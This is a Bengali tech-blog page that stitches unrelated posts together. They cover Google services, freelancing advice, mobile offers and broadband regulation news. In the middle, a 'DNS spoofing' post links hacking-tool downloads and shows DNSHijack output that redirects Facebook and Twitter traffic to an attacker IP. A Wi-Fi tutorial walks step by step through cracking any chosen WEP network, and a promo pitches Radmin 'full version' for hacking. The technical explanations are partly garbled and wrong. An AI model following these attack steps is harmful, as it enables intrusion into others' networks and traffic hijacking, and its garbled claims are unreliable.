গুগলের প্রয়োজনীয় কিছু সেবা যা আপনার কাজে লাগতে পারে

আসসালামু আলাইকুম ।
আশা করি ভালই আছেন । আমাদের কাছে গুগল একটা সাধারণ নাম । কিন্তু গুগল এর কাজ শুধু অ্যান্ড্রয়েড, জিমেইল আর ইন্টারনেটে কোনো বিষয় অনুসন্ধান করা নয়। গুগলের প্রয়োজনীয় আরও বেশ কিছু সেবা রয়েছে, যা আপনার কাজে লাগতে পারে। এগুলো অনেকেরই অজানা । যারা জানেন না তারা জেনে নিন ।

images

গুগল মার্স

গুগলে সার্চ দিলে হয়তো আপনার প্রয়োজনীয় অনেক তথ্যই পেয়ে যান। তবে আপনি যদি মঙ্গল গ্রহের তথ্য পেতে চান বা মঙ্গলের মানচিত্র দেখতে চান, তবে ‘গুগল মার্স’ সেবাটিতে যেতে পারেন। গুগল কেবল পৃথিবীর মানচিত্রই তৈরি করেনি; গুগল মার্সের মাধ্যমে পাশাপাশি মঙ্গল গ্রহের মানচিত্র সেবাও দিচ্ছে। এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল স্কলার

গুগল স্কলার হচ্ছে স্কলার বা বিশেষজ্ঞদের জন্য। যাঁরা গবেষণাকাজের জন্য প্রয়োজনীয় তথ্য পেতে চান বা পড়াশোনার কাজে লাগানোর প্রয়োজনীয় তথ্যের খোঁজ করতে চান, তাঁদের জন্য আদর্শ সেবা গুগলের স্কলার।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল আর্ট প্রজেক্ট

গুগল আর্ট প্রজেক্ট নামের সেবাটি চিত্রকর্ম-সংশ্লিষ্ট। বিশ্বের সেরা চিত্রকর্মগুলোর অনলাইন সংগ্রহশালা হচ্ছে গুগলের আর্ট প্রজেক্ট। বিশ্বের বিভিন্ন জাদুঘর অনলাইনে ভারচুয়ালভাবে ঘুরিয়ে আনবে গুগলের এই সেবাটি।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল ইনপুট টুলস

গুগল ইনপুট টুলস ব্যবহার করে পছন্দের ভাষা ও স্টাইল ব্যবহার করে বার্তা লেখা ও আদান-প্রদান করা যায়।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগল থিংক ইনসাইট

গুগল থিংক ইনসাইট সেবাটি হচ্ছে অনলাইন ব্যবসা-সংক্রান্ত নানা তথ্যের ভান্ডার। গুগলের এ সেবা ব্যবহার করে বিভিন্ন পণ্যের সাম্প্রতিক সূচক, পরিসংখ্যান এবং বাজার গবেষণার নানা তথ্য পাওয়া যায়।এখানে ক্লিক করেসেবাটিতে যেতে পারেন ।

গুগল মডারেটর

কোনো প্রশ্ন মাথায় এলে কার সঙ্গে আলোচনা করবেন? ব্যবহার করতে পারেন গুগল মডারেটর সেবাটি। আপনার প্রশ্নের সমাধান ও নানা বিষয় নিয়ে সুচিন্তিত মতামত পাবেন গুগলের মডারেটর সেবাটিতে।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগলের এনক্রিপটেড

গুগলের এনক্রিপটেড সেবাটি হচ্ছে ইন্টারনেট ব্যবহারকারীর কম্পিউটার ও গুগলের মধ্যে তথ্য এনক্রিপশন করে রাখার সুবিধা।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

স্কিমার

ইন্টারনেটে নতুন কিছু খুঁজে পাওয়া এবং বন্ধুদের সঙ্গে শেয়ার করার জন্য স্কিমার নামে গুগলের বিশেষ একটি সেবা রয়েছে।এখানে ক্লিক করে সেবাটিতে যেতে পারেন ।

গুগলের এসব সেবার খোঁজ পেতে গুগল সার্চে প্রয়োজনীয় সেবাটির নাম লিখুন। গুগল হয়তো আপনার অজানা অনেক সুবিধার সন্ধান দিতে পারবে।

যে কয়েকটি কারণে আপনি কখনই সফল ফ্রীলান্সার হতে পারবেন না!

বাংলাদেশের যুব সমাজকে বর্তমানে ফ্রীলান্স কি, কেন বা এই ধারার প্রশ্নগুলো তেমন কাউকে বুঝিয়ে বলতে হয় না বিশেষ করে যারা অনলাইন মুখী। কারণ গত কয়েক বছর ধরে আমাদের দেশে ফ্রীলান্সারদের যে আধিপত্য বিস্তার লাভ করেছে তা আমাদের সবারই জানাশুনার মধ্যেই। আবার কিছু কিছু ক্ষেত্রে রয়েছে ভিন্নতা। ভিন্নতা বলতে সেই বিষয়গুলো, যেগুলো বা যারা চোখের সামনে ভালো মন্দ গুলো দেখাও বিচার করতে পারে না আসলেই তাঁর কি করা উচিৎ।
প্রিয় পাঠক! আমার পোস্টির শিরোনাম দেখে অনেকেই ভাবছেন আমি হয়তো অন্যদেরকে অবমূল্যায়ন করছি। আমার পোস্ট টাইটেল সম্পর্কে যদি আপনার চিন্তা এমন হয়ে থাকে তাহলে বাকী লিখা গুলো আপনার জন্য নয়। আমি মূলত পোস্ট লিখছি তাদের জন্য যারা তাদের চোখের সামনে ভালো কিছু দেখেও সেগুলোকে নিজের করে নিতে পারে না। বা বুঝে উঠতে পারে না আসলেই কিভাবে তাঁরা নিজেকে একজন সফল ফ্রীলান্সার হিসেবে প্রতিষ্ঠিত করতে পারবেন।
কিছু কিছু বিষয় যা আপনি ফলো করতে পারলেই আপনার ফ্রীলাসার হওয়ার স্বপ্ন পূরণে অনেক সহায়তা করবে। দেখুন কারণ হিসেবে আমি এখানে যে বিষয়গুলোকে নেগিটিভলি উল্লেখ করবো সেগুলোকে আপনি বেশি কিছু না শুধু নিজের সাথে মিলিয়ে দেখেন এবং পারলে সেই বিষয়গুলোকে পজিটিভ করে নিন নিজের জন্য নিজের মত করে। তাহলে হয়তো আর পিছে ফিরে দেখতে হবে না। তো চলুন কারণ গুলো দেখে নেই যে কারণগুলোর কারণে আপনি কখনই একজন সফল ফ্রীলান্সার হতে পারবেন না-

১. অধ্যাবসায়হীনতাঃ


ফ্রীলান্সার হবার মূলমন্ত্র! এই গুনটি আপনার মাঝে নাই। আপনি অধ্যবসায়ী হতে পারেন নাই বা চেষ্টাও করেন নাই কখনও। এক বিষয় চিন্তা করেন, আপনি হয়তো অন্য সব সফল ফ্রীলান্সারদেরকে ফ্রীলান্সিং এর মাধ্যমে আয় করতে দেখে ভাবেন “আমিও সফল হবো” অথবা “আমি ঐ ভাইয়ের মতো এইটা হবো,ঐটা হবো”। দেখুন চাইলেই অনেক কিছু পাওয়া যায়, একথাটি অনেক ক্ষেত্রে সত্যি। তবে শুধু কি চাইলেই হবে কারণ এই কথাটি বলে আপনি যতই চেঁচামেচি করেন না কেন কোন লাভ হবে না। আপনার সফলতা কখনই আসবে না। কারণ আপনি যে ভাইয়ের মতো হইতে চাচ্ছেন সেই ভাই অনেক সাধনা করেই ঐটা হইছে বাট আপনি কি করছেন? সফলতা চাইতে হলে বা সফল হতে হলে আপনাকে বেশি কিছু করার দরকার হবেনা! শুধু দরকার আপনার পছন্দের বিষয়ে তীব্র “অধ্যবসায়”!একবার অধ্যবসায় শুরু করুণ। দেখবেন আপনার সফলতা আপনাকে হাত ছানি দিয়ে ডাকছে! :-)

২. সময়জ্ঞানহীনতাঃ


যারা অধ্যবসায়ী না তাঁদের কখনও সময়ের মূল্যায়ন করতে পারেন না। কারণ আপনি অধ্যবসায় শুরু করলেই আপনাকে সময় সম্পর্কে অনেক চিন্তা ভাবনা করে চলতে হবে। এমন অনেকেই দেখা যায়, যারা “টাকা আকাশে উড়ে” শুধু এই চিন্তা নিয়েই ফ্রীলান্স করতে আসেন। আসলে-ইতো টাকা উড়ে! কি বিশ্বাস হয় না? একবার ফ্রীলান্স সাইটগুলোতে দেখেন, প্রতিদিন কত কোটি ডলারের কাজ পোস্ট হয়। যার মধ্যে খুব বেশি হলে ৫০% কাজ সম্পূর্ণ হয় আর বাকীগুলান কর্মীর অভাবে বাতিল হয়ে যায়। আপনি কখনও একথায় বিশ্বাস-ই করবেন না কারণ আপনার সময়-ই নাই এসব সাইটে ভিজিট করে দেখবার। কারণ আপনি সময়জ্ঞানহীনতা নিয়ে অনেক ব্যস্ত থাকেন হয়তো!!! ;-)

৩. অপ্রত্যাশিতভাবে টাকার পিছনে ছুটছেনঃ

আবার আসি “টাকা আকাশে উড়ে” নিয়ে। বর্তমান সময়ে আমাদের দেশে এমন কিছু ফ্রীলান্সার আছেন। যারা আসলেই “ফ্রীলান্স” বা “ফ্রীলাসিং” কথাটির অর্থই জানেন না। তাঁদের জন্য একটু সংক্ষেপে বলি-

আউটসোর্সিং বা ফ্রীলান্সিং কি?

আউটসোর্সিং বা ফ্রীলান্সিং বর্তমান সময়ে বাংলাদেশ সহ বিশ্বের অনেক দেশে অর্থনৈতিক চালিকা শক্তির সবচেয়ে গুরুপ্তপূর্ণ ভিত্তি। বিশেষ করে যুব সমাজের কাছে যারা পড়াশুনার পাশাপাশি নিজের পকেট খরচটা চালাতে চান। একটা সময় দেখা যায় এই পেশায় তারা এমনভাবে জড়িয়ে পড়েন, যা কিনা তাদের ভবিষ্যতের আয় উন্নতির স্থায়ী পথ হয়ে যায়।
আউটসোর্সিং ও ফ্রীলান্সিং শব্দ দুটি আমরা একই জিনিস বুঝলেও। অর্থগত দিক থেকে এদের পার্থক্য আছে বটে, সংক্ষিপ্তভাবে বলছি এদের অর্থগত পার্থক্য। আউটসোর্সিং (Outsourcing) মানে বাহিরের মাধ্যম থেকে কোন কাজ বা তথ্য নিজের কাছে নিয়ে আসা বা নিজের কাজ বা তথ্য অন্যের কাছে পাঠিয়ে দেয়া। এক্ষেত্রে শুধু ফ্রীলান্সিংকে একক ভাবে আউটসোর্সিং বলা চলে না। যেকোনো বিষয় এর সাথে যুক্ত হতে পারে। এক্ষেত্রে স্থানীয়/নিজ দেশের কাজকে কিন্তু আউটসোসিং বলা চলে না।
আর ফ্রীলান্সিং (Freelancing) বলতে, মুক্ত বা স্বাধীনভাবে কাজ করার মাধ্যমকে বুঝায়। এক্ষেত্রে বলা চলে ফ্রীলান্সাররা কিন্তু কারো কাছে কুক্ষিগত নয়, এবং কখনও হতেও পারে না। ফ্রীলান্সাররা দেশ বিদেশের সকলের সাথে কাজ করে সম্পূর্ণ নিজের স্বাধীনতায়। কেউ তাকে বাধা বা কাজে বিঘ্নিত করতে পারে না। তবে হ্যাঁ, এক্ষেত্রে কেউ যদি নিজের চেষ্টায় না করে অন্য কোন ফ্রীলান্স দল/গ্রুপ আর আওতায় থেকে কাজ করে তবে তাকে মুক্ত বা স্বাধীন ফ্রীলান্সার বলা যাবে না। এক্ষেত্রে বলে রাখা ভাল, ফ্রীলান্স কি সম্পূর্ণ ফ্রি নিবন্ধন এর আওতায় পড়ে এবং বায়ারের কাজ গুলো ফ্রীলান্স কোম্পানি থেকে নিতে নগণ্য পরিমাণ অর্থ প্রদান করতে হয়ে।
দেখুন আপনি কাজ জানেন আপনার কাছে কাজ আসবে এটা কিন্তু ঠিক। তবে, আপনি যদি চুপ করে বসে থাকেন তাহলে কি কেউ আপনাকে জানবে? আপনাকে কাজ দিবে? টাকা কামাতে চাইলে আপনাকে আপনার কোয়ালিটি জানাতে হবে। প্রমাণ করতে হবে যে, আপনি কাজের জন্য বেস্ট! আর এভাবে না চলতে পারলে শুধু টাকার পিছনে ছুটাই হবে, ফ্রীলান্স করে টাকা কামানোর শখ কোনদিন পূরণ হবে না। :(

৪. কাজ শিখার অমনোযোগিতাঃ


এই বিষয়টিতে সবচেয়ে বেশি অমনোযোগী নতুনরা। অনেকেই প্রশ্ন করে বসেন, “ভাই সব চেয়ে সহজ কাজ কোনটি? যেটাতে তেমন কিছু শিখতে হবে না”। এমন কথা যারা বলেন তাঁদের জন্য ফ্রীলান্সিং না! কারণ, আপনি যদি সাধারণ মানের লিখালিখির কাজ করেও আয় করতে চান তবে আপনাকে জানতে হবে, কিভাবে লিখলে আপনাকে বায়ার কাজ দিবে বা লিখায় কতটা সৌন্দর্য দিতে পারলে বায়ার আপনাকে বেঁছে নিবে সবার মাঝে থেকে! অনেকে বলেন, ভাই আমি গ্রাফিক্স বা ওয়েব ডিজাইন শিখতে চাই কিন্তু কোথায় শিখবো, কার কাছে শিখবো জানি না। তাঁদের জন্য বলি, সৃষ্টিকর্তা তো আপনাকে অন্ধ করে পাঠান নাই, তাই না? আপনিতো অন্তত নেট ব্রাউজ/চালাতে পারেন। তাহলে গুগল করুন না আপনি যে বিষয়টি খুঁজছেন। যদি ওয়েব ডিজাইন টিউটোরিয়াল খুঁজেন তাহলে কীওয়ার্ড লিখুন “Free Web Design Tutorials” অথবা “Free Web Design Video Tutorials”। আমি ১০০% সিউর আপনি আপনার কাঙ্ক্ষিত বস্তুটি পেয়ে যাবেন। একটি কথা মনে রাখবেন, আপনি এখন ২০১২ সালে এসে যে জিনিস গুলো বাংলায় খুঁজে পাচ্ছেন সেগুলো কিন্তু কিছু বছর আগেও বাংলা ছিল না। আজ যারা সফল তাঁরা কিন্তু একটা সময় আপনার মতই ছিলেন। তাঁরা ইন্টারনেটের এই বিশাল ময়দান থেকে অনেক যুদ্ধ করে আজকের সফল ব্যক্তিত্ব হয়েছেন। আপনি তাঁদের মত হওন বা না হওন, নিজে খুঁজে নেয়ার চেষ্ঠাতো করবেন? না পেলে না হয় কার হলে নিবেন। নিজের চিন্তা এবং মেধা শক্তিকে কাজে লাগান। নাহলে, একটা সময় কোন কিছুই খুঁজে পাবেন না নিজের মাঝে থেকে! :(

৫. ভ্রান্ত ধারনা থেকে ফ্রীলান্সিং শুরু করাঃ


ফ্রীলান্সিং নিয়ে ভ্রান্ত ধারনা কি, তা হয়তো এই সময়ে আর বলে দিতে হবে না। উপরে লিখা “আউটসোর্সিং বা ফ্রীলান্সিং কি?” এই বিষয়টি ভাল করে বুঝতে পারলে আপনাকে কেউ ভ্রান্ত করতে পারবে না। তারপরেও বলি, ধরুন, আপনি যাদেরকে ফ্রীলাসিং এ সাকসেস হতে দেখে নিজেও ফ্রীলান্সিং করতে আসলেন। কিন্তু, আপনি ভাল করে জেনে নিলেন না আসলেই আপনার ঐ ভাই বা বোনটি কি কাজ করে ফ্রীলান্সিং এ সাকসেস হয়েছেন। আর আপনার এই নাম জানার কারণেই বর্তমান সমাজে কিছু কুলাঙ্গাররা সুযোগ নিবে আপনার মূল্যবান সময়, শ্রম, অর্থ হাতিয়ে নেবার জন্য। বাস্তবিক ভাবে অনেককেই দেখেছি এখন দেখছি, কেউ কেউ নিজের সম্পত্তি বিক্রয় করেও টাকা ইনভেস্ট করে সেসব মূল্যহীন কাজে। একবার ভাবুনতো বা খোঁজ নিয়ে দেখুনতো, আপনি আপনার পাশের যে ভাই বা বোনটির সফলতা দেখে ফ্রীলান্সিং করতে নামলেন তিনি কাজ পেতে নিজের সম্পত্তি বিক্রয় করেছেন। এমনটা হতে পারে, তিনি কাজ শিখার জন্য টাকা ইনভেস্ট করেছেন কিন্তু কাজ পেতে নয়। :-)
পোস্টির মূল আলোচনা এখানেই শেষ! আবার আপনার ভাবে দেখবার পালা। উপরের পাঁচটি কারণের যে কোন একটি আপনার মাঝে থাকলে আপনি কখনই সফল ফ্রীলান্সার হতে পারবেন না। আপনি কি উপরের কোনটির সাথে আপনার মিল খুঁজে পান? যদি মিল খুঁজে পেয়ে থাকেন আর স্বপ্ন দেখেন সফল হবার, তাহলে আপনি ভুল পথে হাঁটছেন! :-(
শেষ কথা
এই পর্যন্তই ছিল । টিউন সম্পর্কে মতামত দেবেন ।
এরকম অনেক কিছু পাবেন > http://www.facebook.com/CY133R
আর আমার সাথে যুক্ত হতে পারেন > http://www.facebook.com/techfreak.unknown
আজ এই পর্যন্ত-ই! পোস্টটি সম্পর্কে আপনার মূল্যবান মতামত জানাতে ভুলবেন।

হ্যাকিং এ DNS spoofing কি?

DNS spoofing orDNS poisioning
এটি এমন একটি টেকনিক যার মাধ্যমে ভিক্টিম মনে করবে সে তার পিসির ব্যাপারে কোন প্রয়োজনীয় তথ্য পেয়েছে কিন্তু আসলে যা হবে একটি ফাঁদ। আমরা যখন কোন ওয়েবসাইট এ যাই তখন তার DNS সার্ভার আমাদের আইপি কে ট্র্যাক করে এরপর সাইট এর মূল পেযে নিয়ে যায়। কিন্তু DNS  সার্ভার যদি সার্ভারেই না থাকে !!!! মানে এটি যদি হ্যাক হয় তাহলে আপনার আইপি কে আমি যেখানে নিয়ে যাব আপনি সেখানে যেতেই বাধ্য।
DNS অ্যাটাক করার জন্য সার্ভার সফটওয়্যার এ আক্রমণকারী কিছু flaw বা ভুল পরিসংখ্যান দেখায়। তখন যদি সার্ভার এর নিরাপত্তা দুরবল হয় তখন সে সেগুলকে আসল মনে করে এবং কাঙ্খিত সাইট এ নিয়ে যায়।  হ্যাক এর যে সাইট প্রভাইড করে তার মাধ্যমে সে ভাইরাস বা স্প্যাম যে কোন কিছুই ছড়াতে পারে।  আপনি যদি এ ধরনের কোন সাইট থেকে কোন কিছু ডাউনলোড করেন। দেখবেন ডাউনলোড বন্ধ ক্রার পর বারবার সেটি ডাউনলোড হবার চেষ্টা করছে । এটি সাধারনত চার ভাবে হয়।
INTERNET  SPOOFING
ITHERNET SPOOFING
PROXY SERVER DNS POISIONING
DNS CACHE POISIONING
তাত্ত্বিক কথা বার্তা বলে বোঝানো কঠিন ।তাই কয়েকটি টুল দেখুন
etherflood
http://www.4shared.com/rar/U5AX2-rL/etherflood.html
এর মাধ্যমে সার্ভার এর নেটওয়ার্ক এ ফ্লাড বা বাধা বানান হয়। এর সাহায্যে হ্যাক এর সব ধরনের নেটওয়ার্ক ট্রাফিক নিযের সাইট এ টেনে নেন
sterm
http://www.softpedia.com/get/Network-Tools/IP-Tools/sTerm.shtml
এটি এমন এক টুল যার সাহায্যে আপনি ফায়ার ওয়াল ,সিকিউরিটি এবং নেটওয়ার্ক ডিভাইস বাইপাস করে যেতে পারবেন। এটি আপনার আসল আইপি এবং ম্যাক এড্রেস লুকিয়ে রাখবে।
dns hijack
http://www.megapanzer.com/wp-content/uploads/DNSHijack.zip
http://www.megapanzer.com/wp-content/uploads/DNSHijack_0_4.zip
এটি সবচে কার্যকরী টুল । টি সার্ভার এ আইপির জন্য বারবার প্রশ্ন করতে থাকে। আর বারবার উত্তর পায় । সেই উত্তর এর সময় বের করে সেটির সাথে ওয়ার্ড এর মিল খুযে বের করে। বা সেটি জমা করে। ধরুন প্রথমবার উত্তর এল 0.00003 সেকেন্ড এ পরেরবার 0.00001 সেকেন্ড এ তাহলে পাসওয়ার্ড হতে পারে 4341 কিন্তু বিষয় টা এত টা সহয নয় । আমি এ টা নিয়ে  ছোট  কিছু কায করেছি ।তাই একটি রিভিউ দিলাম।
Listing all the interfaces on the system
1
2
3
4
5
6
7
8
9
10
11
C:\Users\run> DNSHijack.exe -l
Ifc no : 15
        Adapter Name:   {E21E6E6E-A74D-1ADB-ADEE-E6458989F824}
        Adapter Desc:   Dell Wireless 1701 802.11b/g/n
        Adapter Addr:   94-1E-E7-DE-AD-D9
        Index:  15
        Type:   Unknown type 71
        IP Address:     192.168.10.146
        IP Mask:        255.255.255.0
...
C:\Users\run>
Starting DNSHijack
1
2
3
4
5
6
7
8
9
10
11
C:\Users\run> DNSHijack.exe E21E6E6E-A74D-1ADB-ADEE-E6458989F824
AddToList(1) :  /www.twitter.com/192.168.1.103/
AddToList(1) :  /twitter.com/192.168.1.103/
AddToList(1) :  /www.xing.com/192.168.1.103/
AddToList(1) :  /www.facebook.com/192.168.1.103/

[2012-04-03 18:12:47] Request from 192.168.1.105 to DNS server 88.84.0.2
                      Redirecting http://www.facebook.com to 192.168.1.103
...

C:\Users\run>
Configuration file hosts.txt
1
2
3
4
5
6
http://www.skype.com:192.168.1.103
http://www.linkedin.com:192.168.0.1.103
http://www.twitter.com:192.168.1.103
twitter.com:192.168.1.103
http://www.xing.com:192.168.1.103
http://www.facebook.com:192.168.1.103

এখনই ডাউনলোড করুন পিসি রিমোট কন্ট্রোল বা হ্যাকিং এর জন্য এক অদ্বিতীয় সফটওয়্যার Radmin 3.4 ফুল ভার্সন { Unique টিউন }


প্রথমে সবাই কে সালাম ।আস্ সালামু ওয়াআলাইকুম। সবাইকে জানাই আমার প্রাণঢালা শুভেচ্ছা । আপনারা অনেকে রিমোট পিসি চালানোর জন্য Radmin ব্যাবহার করেন । এটি নিঃসন্দেহে একটি দারুন সফটওয়্যার । আজকে আপনাদের কাছে এর লেটেস্ট ফুল ভার্সন নিয়ে এলাম ।
Title : Radmin
Size: 7.94 MB
Type: PC Remote Control Software

ওয়াইফাই হ্যাকিং !!!!! বিষয়টা কি এতটাই কঠিন??

বর্তমানে ওয়াইফাই সন্দেহাতীত ভাবে একটি প্রয়োজনীয় অনুষঙ্গ। ওয়াইফাই এর মাধ্যমে এনক্রিপ্টেদ তথ্য বাতাসের মধ্যে দিয়ে চলে যায়। কিন্তু আপনি টা জানতেও পারেন না । WEP (Wired Equivalent Privacy) ছিল প্রথম নিরাপদ এন ক্রিপ্সন পদ্ধতি। কিন্তু WPA , WPA-PSK (Works Progress Administration) ইত্যাদি পদ্ধতি এর জায়গা দখল করে নিয়েছে । সাধারনত WEP wifi  হ্যাক  করতে 5-6 ঘণ্টা সময় লাগে। কিন্তু ভাল সিগন্যাল পেলে আর ও কম  সময় এর মধ্যে করা যায় ।
Tools to Be Used
আমরা ওয়াইফাই হ্যাক করতে ২ টি টুল ব্যবহার করব।
1. Commview For Wifi
এটি একটি প্যাকেট স্নিফিং টুল । মানে এটি ওয়াইফাই তে প্রবাহিত হওয়া ইন্টারনেট প্যাকেট গুলো ধরে এবং জমা করে । যত প্যাকেট জমবে তত WEP. হ্যাক করার সুযোগ বেড়ে যাবে ।  আমাদের কমপক্ষে ১০০০০ প্যাকেট লাগবে ওয়াইফাই এর পাসওয়ার্ড ভাঙ্গার জন্য
packet গুলো আসবে .ncp ফরমেটে  । আমরা একে .cap ফরমেটে বদলে নেব ।
আমি এই টিউটোরিয়ালে উইন্ডোজ ৭ ব্যবহার করেছি । আপনি অন্য কোন সিস্টেম ব্যবহার করতে পারেন।  কিন্তু আপনার ওয়াইফাই কার্ড সাপোর্ট না করলে virtual machine এ উইন্ডোজ ৭ ইন্সটল করে নেবেন।
2.Aircrack-Ng GUI :
এই সফটওয়্যার এর সাহায্যে আমরা ফাইল কে .cap ফরমেটে নিয়ে যাব । এগুলো নিচের লিঙ্ক থেকে নামিয়ে নিন ।
Commview For Wifi >http://www.tamos.com/download/main/ca.php
Aircrack-Ng GUI> http://www.aircrack-ng.org/
মনে রাখবেন এই সফটওয়্যার গুলো চালাতে হলে আপনাকে কম্পিউটার এ adminstrator mode এ কাজ করতে হবে ।
LET THE HACKING BEGIN !!!!
প্রথমে commonview সফটওয়্যার টি ইন্সটল করুন । আপনি voip বা standerd যে কোন মোড এ ইন্সটল করতে পারেন । আমি voip দিয়ে করেছি। এটি automettically  প্রয়োজনীয় ড্রাইভার ইন্সটল করতে থাকবে।
আপনি এই সফটওয়্যার ব্যবহার করে কোন নেটওয়ার্ক এ যুক্ত হতে পারবেন না। এটি সুধু হ্যাকিং টুল ।
এখন সফটওয়্যার চালু করে বামদিকের প্লে আইকন এ ক্লিক করুন ।

একটি নতুন উইন্ডো ওপেন হবে ।  সেখানে start scanning বাটনে ক্লিক করুন ।

এখন ডান দিকের উইন্ডো তে আপনি অনেকগুলো নেটওয়ার্ক দেখতে পাবেন । ইচ্ছামত যে কোন একটি কে সিলেক্ট করুন এবং capture বাটনে ক্লিক করুন ।

এই  টিউটোরিয়াল এ আমি WEP protected network হ্যাক করা দেখাচ্ছি। তাই wep এন ক্রিপ্টেড নেটওয়ার্ক সিলেক্ট করবেন ।
সব উইন্ডো বন্ধ হয়ে যাবে এবং আমরা দেখব commonview প্যাকেট ক্যাপ চার করা শুরু করে দিয়েছে

প্যাকেট ক্যাপ চার হচ্ছে এখন আমাদের সেগুলো সেভ করতে হবে। এর জন্য
Click on Settings->Options->Memory Usage
Change Maximum Packets in buffer to 20000


এবার LOGGING Tab  সিলেক্ট করে   AUTO-SAVING এ টিক দিন ।
এবার Maximam Directory তে ২০০০ এবং  Log File Size এ ২০ লিখে দিন

এখন commonview ২০ মেগাবাইট আকারে  প্যাকেট সংগ্রহ করতে থাকবে .ncp ফরমেটে ।  এই ফাইল  আপনি যে directory তে সেভ করেছেন সেখানে জমা হবে ।
এখন যেহেতু আপনি অনেক লগ জমা করছেন তাই এগুলো কে একটি ফাইল এ কম্পাইল করতে হবে এর জন্য Logging Tab  এর  CONCATENATE LOGS. এ যান এবং একটি ফাইল এ পরিনত করুন ।
করা শেষ হলে .ncf  ফরমেটে আমরা একটি ফাইল পাব।
AIRCRACK-NG কে ইন্সটল করুন এবং আমরা যে একটি ফাইল পেয়েছি সেটিকে .cap এ রুপান্তর করতে হবে । এটা করার জন্য
AIRCRACK-NG তে যান এবং
Click on File->Log Viewer->Load Commview Logs-> Choose the .ncf file ,
Now File->Export->Wireshark/TCP dump format .
PART 2 AirCrack-NG
এই অংশ খুব সহজ। AirCrack folder খুলুন এবং Bin->Aircrack-ng GUI.exe  লোকেসান এ যান এবং GUI  এ .Cap file  বসান এবং Next->Next->Next
এখন তার সব তথ্য যেমন সে দিনে কয় মেগাবাইট নেট ব্যবহার করে , তার ওয়াইফাই ইউযারনেম, পাসওয়ার্ড সব আপনি পেয়ে যাবেন । কিন্তু কয়েক ঘন্টা ও লাগতে পারে ।

Gp মারাত্নক OFFER (Net, minute,sms,mms) একসাথে ৫ টাকাই পাবেন ২০মিনিট, ৫ মেগাবাইট ইনটারনেট, ৫ টি এস.এম.এস& ৫ টি এম.এম.এস.|

## মেয়াদ ১দিন.
*একটিভ করতে ডায়াল করুন*111*10*1#
*বাতিল করতে ডায়েল করুন*111*10*99# **১০টাকাই পাবেন ১০মিনিট,১০মেগাবাইট, ১০
এস.এম.এস ,১০ এম.এম.এস পাবেন ফ্রি ।
**যেকোন অপারেটরে ফ্রী মিনিট ব্যবহার করতে পারবেন**
মেয়াদ ১দিন ।একটিভ করতে ডায়াল করুন *111*10*2#
বাতিল করতে ডায়াল করুন*111*10*98#

সুখবর সুখবর সুখবর ব্রডব্যান্ডের ন্যূনতম গতি ১ এমবিপিএস হচ্ছে!!!

ব্রডব্যান্ড গ্রাহকদের কমপক্ষে ১ এমবিপিএস ব্যান্ডউইডথ দিতে ইন্টারনেট সেবাদানকারীদের নির্দেশনা দিয়েছে নিয়ন্ত্রক সংস্থা বিটিআরসি। সোমবার জারি করা নতুন নির্দেশনায় গ্রাহকদের পরিচয় নিশ্চিত করে ডাটা বা ইন্টারনেট সংযোগ দেয়ার কথাও বলা হয়েছে। বিটিআরসির সিস্টেম এন্ড সার্ভিসেস-এর পরিচালক লে. কর্নেল মো. রকিবুল হাসান স্বাক্ষরিত এক চিঠিতে অপারেটরদের মোট পাচটি নির্দেশনা দেয়া হয়। জাতীয় ব্রডব্যান্ড নীতিমালা ২০০৯ এর অনুচ্ছেদ ২-এ উল্লেখিত ব্রডব্যান্ডের সংজ্ঞা পরিবর্তন করে বলা হয়েছে, “ইন্টারনেটে প্রচলিত গতির চাইতে বেশী গতিকে ব্রডব্যান্ড হিসেবে অভিহিত করা হবে। এর ন্যূনতম ব্যান্ডউইথ হবে ১ এমবিপিএস। গ্রাহকের জন্য ১ এমবিপিএস ব্যান্ডউইথ নিশ্চিত করতে হবে এবং এর চেয়ে কম ব্যান্ডউইথকে ‘ন্যারোব্যান্ড’ বলা হবে।” ব্রডব্যান্ডের নতুন সংজ্ঞা গত ১৫ জানুয়ারি থেকে কার্যকর হিসেবে ধরে নিতে আইএসপি ও বিডব্লিউএ অপারেটরদের নির্দেশনা দেয়া হয়।
internet-con
লাইসেন্সধারী ইন্টারনেট সার্ভিস প্রোভাইডার (আইএসপি) ও ব্রডব্যান্ড ওয়্যারলেস অ্যাক্সেস (বিডব্লিউএ) অপারেটরদের এপ্রিলের ৩০ তারিখের মধ্যে এ নির্দেশ বাস্তবায়ন করতে বলা হয়েছে নির্দেশনায়। বর্তমানে চালু বিভিন্ন প্যাকেজ, অফার ও মূল্যতালিকা নতুন নির্দেশনা অনুযায়ী নতুন করে সাজাতেও বলা হয়েছে অপারেটরদের। নির্দেশনায় বলা হয়, বিটিআরসি প্রবর্তিত ‘গ্রাহক নিবন্ধন ফর্ম’ ব্যবহার করে গ্রাহকের পরিচয় নিশ্চিত করার পর ডাটা বা ইন্টারনেট সংযোগ চালু করতে হবে।
গ্রাহক নিবন্ধনে কোনো ধরনের ভুল/অসত্য/ক্রটিযুক্ত তথ্য থাকার পরও ডাটা বা ইন্টারনেট সংযোগ চালু করলে তার সম্পূর্ণ দায়ভার অপারেটরদের বহন করতে হবে বলেও নির্দেশনায় জানানো হয়। পহেলা এপ্রিল থেকে নতুন সংজ্ঞা অনুসারে নতুন করে সাজানো প্যাকেজ/অফার/ট্যারিফ এর মাধ্যমে ডাটা/ইন্টারনেট সার্ভিস ব্যবহার বা ক্রয় করার জন্য ব্যবহারকারীদের অনুরোধ করা হয়েছে। ব্রডব্যান্ড সংযোগের স্থলে ‘ন্যারোব্যান্ড’ ব্যবহার/ক্রয়/পেমেন্ট না করার জন্যও গ্রাহকদের অনুরোধ করা হয়